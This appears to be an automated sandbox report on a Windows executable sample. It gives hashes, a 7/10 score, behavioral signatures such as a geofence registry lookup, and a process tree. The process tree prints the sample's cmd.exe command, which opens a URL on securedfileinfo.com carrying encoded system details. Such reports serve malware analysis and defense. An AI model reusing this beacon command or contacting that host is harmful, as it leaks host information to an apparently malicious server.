Analysis
-
max time kernel
154s -
max time network
167s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
27/11/2022, 18:00
Static task
static1
Behavioral task
behavioral1
Sample
c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe
Resource
win7-20221111-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe
Resource
win10v2004-20221111-en
windows10-2004-x64
6 signatures
150 seconds
General
-
Target
c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe
-
Size
143KB
-
MD5
b40d0a25fbeeb9e838f2dbcde756e582
-
SHA1
df8c51279ab1e9039aef840e498489869904b969
-
SHA256
c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1
-
SHA512
ce8cad8538bba6c16e48e8b109de782af60a81ef42836cc71574f4c74cba239a6448401750c1e0c6f50f03e5f454608519b4433aa50ab0cbf8690aa4129f03f8
-
SSDEEP
3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DLw:pe9IB83ID5g
Score
7/10
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4092 msedge.exe 4092 msedge.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4212 c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 4212 c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4212 wrote to memory of 3472 4212 c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe 87 PID 4212 wrote to memory of 3472 4212 c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe 87 PID 4212 wrote to memory of 3472 4212 c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe 87 PID 3472 wrote to memory of 2320 3472 cmd.exe 89 PID 3472 wrote to memory of 2320 3472 cmd.exe 89 PID 2320 wrote to memory of 2168 2320 msedge.exe 91 PID 2320 wrote to memory of 2168 2320 msedge.exe 91 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4068 2320 msedge.exe 98 PID 2320 wrote to memory of 4092 2320 msedge.exe 99 PID 2320 wrote to memory of 4092 2320 msedge.exe 99 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100 PID 2320 wrote to memory of 388 2320 msedge.exe 100
Processes
-
C:\Users\Admin\AppData\Local\Temp\c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe"C:\Users\Admin\AppData\Local\Temp\c85d1324b312a50faba1bfa9c28fc96de692680f3878a843fd701663cf4454f1.exe"1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=4300109^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt43^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"2⤵
- Suspicious use of WriteProcessMemory
PID:3472 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=4300109&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt43|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p13⤵
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffbaf1646f8,0x7ffbaf164708,0x7ffbaf1647184⤵PID:2168
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2164,12763539207901611422,9636696224018704337,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2200 /prefetch:24⤵PID:4068
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2164,12763539207901611422,9636696224018704337,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2268 /prefetch:34⤵
- Suspicious behavior: EnumeratesProcesses
PID:4092
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2164,12763539207901611422,9636696224018704337,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3048 /prefetch:84⤵PID:388
-
-
-
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:1080